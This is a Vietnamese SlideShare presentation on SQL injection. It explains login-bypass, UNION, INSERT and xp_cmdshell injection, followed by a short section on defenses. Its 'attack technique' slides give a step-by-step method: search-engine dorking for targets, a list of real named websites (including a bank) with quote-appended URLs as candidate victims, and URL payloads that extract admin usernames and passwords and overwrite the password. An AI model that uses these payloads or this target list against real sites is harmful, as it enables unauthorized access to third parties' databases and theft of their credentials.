SlideShare uma empresa Scribd logo
1 de 48
SQL INJECTION
Nội dung trình bày:
SQL Injection là gì?
Các dạng tấn công bằng SQL Injection
Kỹ Thuật tấn công bằng sql injection
Cách phòng tránh
Demo
SQL Injection là gì?






SQL injection là một kĩ thuật tấn công lợi dụng lỗ
hổng trong việc kiểm tra dữ liệu nhập trong các ứng
dụng web và các thông báo lỗi của hệ quản trị cơ sở
dữ liệu để "tiêm vào" (injection) và thi hành các câu
lệnh SQL bất hợp pháp.
Hậu quả của nó rất tai hại vì nó cho phép những kẻ
tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh,
… do có toàn quyền trên cơ sở dữ liệu của ứng dụng,
thậm chí là server mà ứng dụng đó đang chạy.
Lỗi này thường xảy ra trên các ứng dụng web có dữ
liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu
như SQL Server, MySQL, Oracle, DB2, Sysbase.
Các dạng tấn công bằng SQL Injection


Có bốn dạng thông thường bao gồm:
Vượt qua kiểm tra lúc đăng nhập (authorization
bypass)
 Sử dụng câu lện SELECT
 Sử dụng câu lệnh INSERT
 Sử dụng các stored-procedures [2], [3]

Dạng tấn công vượt qua kiểm tra đăng
nhập




Đăng nhập nhờ vào lỗi khi dùng các câu lệnh
SQL thao tác trên cơ sở dữ liệu của ứng dụng
web.
Trong trường hợp này, người ta có thể dùng
hai trang, một trang HTML để hiển thị form
nhập liệu và một trang ASP dùng để xử lí
thông tin nhập từ phía người dùng. Ví dụ:
login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text"
name="fUSRNAME"><br>
Password: <input type="password"
name="fPASSWORD"><br>
<input type="submit">
</form>
execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL vUsrName =
Request.Form("fUSRNAME") vPassword =
Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _ "WHERE
USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' “
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open
strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " &
objRS("USR_NAME")
End If
Set objRS = Nothing %>






Người dùng nhập chuỗi sau vào trong cả 2 ô
nhập liệu username/password của trang
login.htm là: ' OR ' ' = ' .
Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE
USR_NAME ='' OR ''='' and
USR_PASSWORD= '' OR ''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả
các bản ghi của T_USERS và đoạn mã tiếp
theo xử lí người dùng đăng nhập bất hợp pháp
này như là người dùng đăng nhập hợp lệ.
Dạng tấn công sử dụng câu lệnh
SELECT




Để thực hiện được kiểu tấn công này, kẻ tấn
công phải có khả năng hiểu và lợi dụng các sơ
hở trong các thông báo lỗi từ hệ thống để dò
tìm các điểm yếu khởi đầu cho việc tấn công.
Thông thường, sẽ có một trang nhận ID của
tin cần hiển thị rồi sau đó truy
vấn nội dung của tin có ID này.
<%
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
strSQL = "SELECT * FROM T_NEWS
WHERE NEWS_ID =" & vNewsID
Set objRS =
Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
Set objRS = Nothing
%>

Câu truy vấn SQL lúc này sẽ trả về tất cả các
article từ bảng dữ liệu vì nó sẽ thực hiện câu
lệnh:
SELECT * FROM T_NEWS WHERE
NEWS_ID=0 or 1=1








' UNION SELECT ALL SELECT OtherField
FROM OtherTable WHERE ' '='
(*)
Lúc này, ngoài câu truy vấn đầu không thành công,
chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ
khóa UNION nữa.
Nếu chúng ta thêm ' UNION SELECT name
FROM sysobjects WHERE xtype = 'U' là có thể
liệt kê được tên tất cả các bảng dữ liệu.
Dạng tấn công sử dụng câu lệnh
INSERT


Chức năng không thể thiếu là sau khi đăng kí
thành công, người dùng có thể xem và hiệu
chỉnh thông tin của mình. SQL injection có thể
được dùng khi hệ thống không kiểm tra tính
hợp lệ của thông tin nhập vào.




Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:
INSERT INTO TableName VALUES('Value One',
'Value Two', 'Value Three'). Nếu đoạn mã xây dựng
câu lệnh SQL có dạng :
<% strSQL = "INSERT INTO TableName
VALUES(' " & strValueOne & " ', ' " _ &
strValueTwo & " ', ' " & strValueThree & " ') " Set
objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..." … Set objRS =
Nothing %>
Dạng tấn công sử dụng storedprocedures





Việc tấn công bằng stored-procedures sẽ gây
tác hại rất lớn nếu ứng dụng được thực thi với
quyền quản trị hệ thống 'sa'.
Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ;
EXEC xp_cmdshell 'cmd.exe dir C: '.
Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư
mục trên ổ đĩa C: cài đặt server. Việc phá hoại
kiểu nào tuỳ thuộc vào câu lệnh đằng sau
cmd.exe.
Kỹ Thuật tấn công bằng sql injection









Bước 1: Tìm kiếm mục tiêu.
Bước 2: Kiểm tra chỗ yếu của trang web
Bước 3: Nhận data qua ‘database using ODBC
error message’
Bước 4: Xác định tên của các column trong
table
Bước 5: Thu thập các dữ liệu quan trọng.
Bước 6: Xử lý kết quả tìm được
Tìm kiếm mục tiêu




Bạn có thể dùng các bất kỳ một search-engine
nào trên mạng như các trang login, search,
feedback…
Bạn có thể “custome Search Engine” lại cho
phù hợp với yêu cầu của bạn



Thực hiện câu lệnh search:
inurl:php?id= site:com.vn
Đây là kết quả thu được.
Kết Quả Tìm Được Của Nhóm













http://www.vsmc.com.vn/news_detail.php?id=19'
http://www.toeic.com.vn/info/details.php?id=383'
http://www.phanhoadigi.com.vn/list_product.php?
ID=1173&namecate=EOS'
http://forum.key.com.vn/viewtopic.php?id=362
http://www.biconsi.com.vn/index.php?id=36'
http://www.vietphone.com.vn/download.php?mode=download&id=19'
http://thammyvienthanhbinh.com.vn/detail.php?id=19'
http://www.voip.com.vn/download.php?mode=download&id=28'
http://bidv.com.vn/advert.asp?id=36'
http://www.licogi.com.vn/home.asp?ID=234&Langid=2%27
http://www.galilcol.ac.il/page.asp?id=17‘
Ghi chú: không phải trang nào cũng tấn công được
Kiểm tra chỗ yếu của trang web




Bạn có thể điền thêm một số lệnh trên url,
hoặc trên các from login, search, hoặc search
để phát hiện lỗi.
Sau đây là một số cách thêm và phát hiện lỗi
của nhóm mình:
Nhận data qua ‘database using
ODBC error message’



Đây là bước quan trọng nhất và đòi hỏi nhiều kĩ
thuật lẫn sự am hiểu về cơ sở dữ liệu.
Table INFORMATION_SCHEMA.COLUMNS
chứa tên của tất cả các column trong table. Bạn
có thể khai thác như sau:
http://vitcon/index.asp?id=10 UNION SELECT
TOP 1 COLUMN_NAME FROM
INFORMATION_SHEMA.COLUMNS
WHERE TABLE_NAME=‘admin_login’--
Out put:




Microsoft OLE DB Provider for ODBC
Drivers error ‘80040e07’[Microsoft][ODBC
SQL Server Driver][SQL Server]ORDER BY
items must appear in the select list if the
statement contains a UNION operator.
/index.asp, line 5
Thu thập các dữ liệu quan trọng






Chúng ta phải xác định được các tên của các
table và column quan trọng.
Chúng ta có thể lấy login_name đầu tiên trong
table “admin_login” như sau:
http://vitcon/index.asp?id=10 UNION
SELECT TOP 1 login_name From
admin_login—








Bạn dễ dàng nhận ra được admin user đầu tiên
có login_name là ‘aaa’.
Sau đó dung tên user tìm được để tìm
password:
http://vitcon/index.asp?id=10 UNION
SELECT TOP 1 password FROM
admin_login where login _name=‘aaa’—
Bây giờ bạn sẽ nhận được password của ‘aaa’
là ‘bbb’.
Xử lý kết quả tìm được








Khi bạn đã có tên của tất cả các column trong table,
bạn có thể UPDATE hoặc INSERT một record mới
vào table này.
Để thay đổi password của ‘aaa’ bạn có thể làm như
sau:
http://vitcon/index.asp?id=10 ;UPDATE
‘admin_login’ SET ‘password’ =‘ccc’ WHERE
login_name=‘aaa’–
Hoặc bạn login trực tiếp vào và thực hiện dưới quyền
user đó.
Cách phòng tránh




Cần có cơ chế kiểm soát chặt chẽ và giới hạn
quyền xử lí dữ liệu đến tài khoản người dùng
mà ứng dụng web đang sử dụng.
Các ứng dụng thông thường nên tránh dùng
đến các quyền như dbo hay sa. Quyền càng bị
hạn chế, thiệt hại càng ít.




Loại bỏ bất kì thông tin kĩ thuật nào chứa
trong thông điệp chuyển xuống cho người
dùng khi ứng dụng có lỗi.
Các thông báo lỗi thông thường tiết lộ các chi
tiết kĩ thuật có thể cho phép kẻ tấn công biết
được điểm yếu của hệ thống.
DEMO
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection
SQL injection

Mais conteúdo relacionado

Mais procurados

Cấu hình và bảo mật cho Ubuntu Server
Cấu hình và bảo mật cho Ubuntu Server Cấu hình và bảo mật cho Ubuntu Server
Cấu hình và bảo mật cho Ubuntu Server Ho Quang Thanh
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTIONMentorcs
 
SQL injection prevention techniques
SQL injection prevention techniquesSQL injection prevention techniques
SQL injection prevention techniquesSongchaiDuangpan
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and preventionhelloanand
 
A Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionA Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionSina Manavi
 
Trigger, Cursor, Function in SQL Server
Trigger, Cursor, Function in SQL ServerTrigger, Cursor, Function in SQL Server
Trigger, Cursor, Function in SQL ServerNguyễn Phúc
 
hệ điều hành
hệ điều hànhhệ điều hành
hệ điều hànhVinh Perfect
 
TÌM HIỂU CÁC KỸ THUẬT KIỂM THỬ PHẦN MỀM
TÌM HIỂU CÁC KỸ THUẬT KIỂM THỬ PHẦN MỀMTÌM HIỂU CÁC KỸ THUẬT KIỂM THỬ PHẦN MỀM
TÌM HIỂU CÁC KỸ THUẬT KIỂM THỬ PHẦN MỀMNguyễn Anh
 
API Testing & SoapUI
API Testing & SoapUIAPI Testing & SoapUI
API Testing & SoapUITran Bich
 
XXE injection - Nguyễn Tăng Hưng
XXE injection - Nguyễn Tăng HưngXXE injection - Nguyễn Tăng Hưng
XXE injection - Nguyễn Tăng HưngVõ Thái Lâm
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationRapid Purple
 
Giáo Trình PHP & MySql căn bản
Giáo Trình PHP & MySql căn bảnGiáo Trình PHP & MySql căn bản
Giáo Trình PHP & MySql căn bảnTiên Lý Rau Rút
 

Mais procurados (20)

Sql injection
Sql injectionSql injection
Sql injection
 
How to identify and prevent SQL injection
How to identify and prevent SQL injection  How to identify and prevent SQL injection
How to identify and prevent SQL injection
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
Cấu hình và bảo mật cho Ubuntu Server
Cấu hình và bảo mật cho Ubuntu Server Cấu hình và bảo mật cho Ubuntu Server
Cấu hình và bảo mật cho Ubuntu Server
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTION
 
SQL injection prevention techniques
SQL injection prevention techniquesSQL injection prevention techniques
SQL injection prevention techniques
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and prevention
 
SQL injection
SQL injectionSQL injection
SQL injection
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
A Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionA Brief Introduction in SQL Injection
A Brief Introduction in SQL Injection
 
Trigger, Cursor, Function in SQL Server
Trigger, Cursor, Function in SQL ServerTrigger, Cursor, Function in SQL Server
Trigger, Cursor, Function in SQL Server
 
hệ điều hành
hệ điều hànhhệ điều hành
hệ điều hành
 
TÌM HIỂU CÁC KỸ THUẬT KIỂM THỬ PHẦN MỀM
TÌM HIỂU CÁC KỸ THUẬT KIỂM THỬ PHẦN MỀMTÌM HIỂU CÁC KỸ THUẬT KIỂM THỬ PHẦN MỀM
TÌM HIỂU CÁC KỸ THUẬT KIỂM THỬ PHẦN MỀM
 
API Testing & SoapUI
API Testing & SoapUIAPI Testing & SoapUI
API Testing & SoapUI
 
Sql injection
Sql injectionSql injection
Sql injection
 
XXE injection - Nguyễn Tăng Hưng
XXE injection - Nguyễn Tăng HưngXXE injection - Nguyễn Tăng Hưng
XXE injection - Nguyễn Tăng Hưng
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint Presentation
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
Giáo Trình PHP & MySql căn bản
Giáo Trình PHP & MySql căn bảnGiáo Trình PHP & MySql căn bản
Giáo Trình PHP & MySql căn bản
 

Destaque

Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Công cụ và phương pháp phát hiện lỗ hổng bảo mật web applicationCông cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Công cụ và phương pháp phát hiện lỗ hổng bảo mật web applicationducmanhkthd
 
Kiểm thử bảo mật web
Kiểm thử bảo mật webKiểm thử bảo mật web
Kiểm thử bảo mật webMinh Tri Nguyen
 
Những lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNhững lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNgoc Dao
 
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Luc Cao
 
tìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mậttìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mậtanhkhoa2222
 

Destaque (7)

Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Công cụ và phương pháp phát hiện lỗ hổng bảo mật web applicationCông cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
 
Kiểm thử bảo mật web
Kiểm thử bảo mật webKiểm thử bảo mật web
Kiểm thử bảo mật web
 
Những lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNhững lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần application
 
Sql injection attack
Sql injection attackSql injection attack
Sql injection attack
 
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
 
tìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mậttìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mật
 
Sql injection
Sql injectionSql injection
Sql injection
 

Semelhante a SQL injection

Tan cong kieu sql injection tac hai va phong tranh vn
Tan cong kieu sql injection   tac hai va phong tranh vnTan cong kieu sql injection   tac hai va phong tranh vn
Tan cong kieu sql injection tac hai va phong tranh vnJenny Nguyen
 
Sql injection2
Sql injection2Sql injection2
Sql injection2Gió Lào
 
Sql injection it-slideshares.blogspot.com
Sql injection it-slideshares.blogspot.comSql injection it-slideshares.blogspot.com
Sql injection it-slideshares.blogspot.comphanleson
 
Sql injection bao cao - http://ouo.io/Mqc8L5
Sql injection bao cao - http://ouo.io/Mqc8L5Sql injection bao cao - http://ouo.io/Mqc8L5
Sql injection bao cao - http://ouo.io/Mqc8L5phanleson
 
Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Luc Cao
 
Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Luc Cao
 
PHP Security SQL injection
PHP Security SQL injectionPHP Security SQL injection
PHP Security SQL injectionLoc Nguyen
 
Hướng dẫn lập trình với SCSF phần I (smart client software factory)
Hướng dẫn lập trình với SCSF phần I (smart client software factory)Hướng dẫn lập trình với SCSF phần I (smart client software factory)
Hướng dẫn lập trình với SCSF phần I (smart client software factory)Minh Tri Lam
 
Trong bài viết hôm nay
Trong bài viết hôm nayTrong bài viết hôm nay
Trong bài viết hôm nayledoanduc
 
Lớp kết nối csdl dùng jdbc trong java
Lớp kết nối csdl dùng jdbc trong javaLớp kết nối csdl dùng jdbc trong java
Lớp kết nối csdl dùng jdbc trong javaANHMATTROI
 
Hướng dẫn lập trình với SCSF phần II(smart client software factory)
Hướng dẫn lập trình với SCSF phần II(smart client software factory)Hướng dẫn lập trình với SCSF phần II(smart client software factory)
Hướng dẫn lập trình với SCSF phần II(smart client software factory)Minh Tri Lam
 
Bài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPT
Bài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPTBài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPT
Bài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPTMasterCode.vn
 
Bảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NETBảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NETHUST
 
Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8
Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8 Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8
Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8 KhanhPham
 

Semelhante a SQL injection (20)

Tan cong kieu sql injection tac hai va phong tranh vn
Tan cong kieu sql injection   tac hai va phong tranh vnTan cong kieu sql injection   tac hai va phong tranh vn
Tan cong kieu sql injection tac hai va phong tranh vn
 
Sql injection2
Sql injection2Sql injection2
Sql injection2
 
Sql injection2
Sql injection2Sql injection2
Sql injection2
 
Sql injection it-slideshares.blogspot.com
Sql injection it-slideshares.blogspot.comSql injection it-slideshares.blogspot.com
Sql injection it-slideshares.blogspot.com
 
Sql injection bao cao - http://ouo.io/Mqc8L5
Sql injection bao cao - http://ouo.io/Mqc8L5Sql injection bao cao - http://ouo.io/Mqc8L5
Sql injection bao cao - http://ouo.io/Mqc8L5
 
Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2
 
Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2
 
PHP Security SQL injection
PHP Security SQL injectionPHP Security SQL injection
PHP Security SQL injection
 
Cach su dung data reader
Cach su dung data readerCach su dung data reader
Cach su dung data reader
 
Hướng dẫn lập trình với SCSF phần I (smart client software factory)
Hướng dẫn lập trình với SCSF phần I (smart client software factory)Hướng dẫn lập trình với SCSF phần I (smart client software factory)
Hướng dẫn lập trình với SCSF phần I (smart client software factory)
 
Trong bài viết hôm nay
Trong bài viết hôm nayTrong bài viết hôm nay
Trong bài viết hôm nay
 
Bai1.pdf
Bai1.pdfBai1.pdf
Bai1.pdf
 
Lớp kết nối csdl dùng jdbc trong java
Lớp kết nối csdl dùng jdbc trong javaLớp kết nối csdl dùng jdbc trong java
Lớp kết nối csdl dùng jdbc trong java
 
slide_Chuong 3_ (1).ppt
slide_Chuong 3_ (1).pptslide_Chuong 3_ (1).ppt
slide_Chuong 3_ (1).ppt
 
Hướng dẫn lập trình với SCSF phần II(smart client software factory)
Hướng dẫn lập trình với SCSF phần II(smart client software factory)Hướng dẫn lập trình với SCSF phần II(smart client software factory)
Hướng dẫn lập trình với SCSF phần II(smart client software factory)
 
Yii
YiiYii
Yii
 
Bài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPT
Bài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPTBài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPT
Bài 6: Bảo mật trong SQL SERVER 2008 - Giáo trình FPT
 
Bảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NETBảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NET
 
Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8
Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8 Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8
Zend Framework 2 - Thao tác Database trong Zend Framework 2 - Bài 8
 
Sql injection
Sql injectionSql injection
Sql injection
 

SQL injection

  • 1. SQL INJECTION Nội dung trình bày: SQL Injection là gì? Các dạng tấn công bằng SQL Injection Kỹ Thuật tấn công bằng sql injection Cách phòng tránh Demo
  • 2. SQL Injection là gì?    SQL injection là một kĩ thuật tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (injection) và thi hành các câu lệnh SQL bất hợp pháp. Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.
  • 3. Các dạng tấn công bằng SQL Injection  Có bốn dạng thông thường bao gồm: Vượt qua kiểm tra lúc đăng nhập (authorization bypass)  Sử dụng câu lện SELECT  Sử dụng câu lệnh INSERT  Sử dụng các stored-procedures [2], [3] 
  • 4. Dạng tấn công vượt qua kiểm tra đăng nhập   Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ:
  • 5. login.htm <form action="ExecLogin.asp" method="post"> Username: <input type="text" name="fUSRNAME"><br> Password: <input type="password" name="fPASSWORD"><br> <input type="submit"> </form>
  • 6. execlogin.asp <% Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD") strSQL = "SELECT * FROM T_USERS " & _ "WHERE USR_NAME=' " & vUsrName & _ " ' and USR_PASSWORD=' " & vPassword & " ' “ Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & objRS("USR_NAME") End If Set objRS = Nothing %>
  • 7.    Người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang login.htm là: ' OR ' ' = ' . Lúc này, câu truy vấn sẽ được gọi thực hiện là: SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''='' Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.
  • 8.
  • 9.
  • 10. Dạng tấn công sử dụng câu lệnh SELECT   Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung của tin có ID này.
  • 11. <% Dim vNewsID, objRS, strSQL vNewsID = Request("ID") strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." Set objRS = Nothing %> 
  • 12. Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh: SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1 
  • 13.    ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*) Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Nếu chúng ta thêm ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' là có thể liệt kê được tên tất cả các bảng dữ liệu.
  • 14. Dạng tấn công sử dụng câu lệnh INSERT  Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào.
  • 15.   Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three'). Nếu đoạn mã xây dựng câu lệnh SQL có dạng : <% strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " ') " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." … Set objRS = Nothing %>
  • 16. Dạng tấn công sử dụng storedprocedures    Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell 'cmd.exe dir C: '. Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C: cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
  • 17. Kỹ Thuật tấn công bằng sql injection       Bước 1: Tìm kiếm mục tiêu. Bước 2: Kiểm tra chỗ yếu của trang web Bước 3: Nhận data qua ‘database using ODBC error message’ Bước 4: Xác định tên của các column trong table Bước 5: Thu thập các dữ liệu quan trọng. Bước 6: Xử lý kết quả tìm được
  • 18. Tìm kiếm mục tiêu   Bạn có thể dùng các bất kỳ một search-engine nào trên mạng như các trang login, search, feedback… Bạn có thể “custome Search Engine” lại cho phù hợp với yêu cầu của bạn
  • 19.   Thực hiện câu lệnh search: inurl:php?id= site:com.vn
  • 20. Đây là kết quả thu được.
  • 21. Kết Quả Tìm Được Của Nhóm             http://www.vsmc.com.vn/news_detail.php?id=19' http://www.toeic.com.vn/info/details.php?id=383' http://www.phanhoadigi.com.vn/list_product.php? ID=1173&namecate=EOS' http://forum.key.com.vn/viewtopic.php?id=362 http://www.biconsi.com.vn/index.php?id=36' http://www.vietphone.com.vn/download.php?mode=download&id=19' http://thammyvienthanhbinh.com.vn/detail.php?id=19' http://www.voip.com.vn/download.php?mode=download&id=28' http://bidv.com.vn/advert.asp?id=36' http://www.licogi.com.vn/home.asp?ID=234&Langid=2%27 http://www.galilcol.ac.il/page.asp?id=17‘ Ghi chú: không phải trang nào cũng tấn công được
  • 22. Kiểm tra chỗ yếu của trang web   Bạn có thể điền thêm một số lệnh trên url, hoặc trên các from login, search, hoặc search để phát hiện lỗi. Sau đây là một số cách thêm và phát hiện lỗi của nhóm mình:
  • 23.
  • 24.
  • 25.
  • 26. Nhận data qua ‘database using ODBC error message’   Đây là bước quan trọng nhất và đòi hỏi nhiều kĩ thuật lẫn sự am hiểu về cơ sở dữ liệu. Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn có thể khai thác như sau: http://vitcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SHEMA.COLUMNS WHERE TABLE_NAME=‘admin_login’--
  • 27. Out put:   Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5
  • 28. Thu thập các dữ liệu quan trọng    Chúng ta phải xác định được các tên của các table và column quan trọng. Chúng ta có thể lấy login_name đầu tiên trong table “admin_login” như sau: http://vitcon/index.asp?id=10 UNION SELECT TOP 1 login_name From admin_login—
  • 29.     Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là ‘aaa’. Sau đó dung tên user tìm được để tìm password: http://vitcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login _name=‘aaa’— Bây giờ bạn sẽ nhận được password của ‘aaa’ là ‘bbb’.
  • 30. Xử lý kết quả tìm được     Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này. Để thay đổi password của ‘aaa’ bạn có thể làm như sau: http://vitcon/index.asp?id=10 ;UPDATE ‘admin_login’ SET ‘password’ =‘ccc’ WHERE login_name=‘aaa’– Hoặc bạn login trực tiếp vào và thực hiện dưới quyền user đó.
  • 31. Cách phòng tránh   Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít.
  • 32.   Loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.
  • 33. DEMO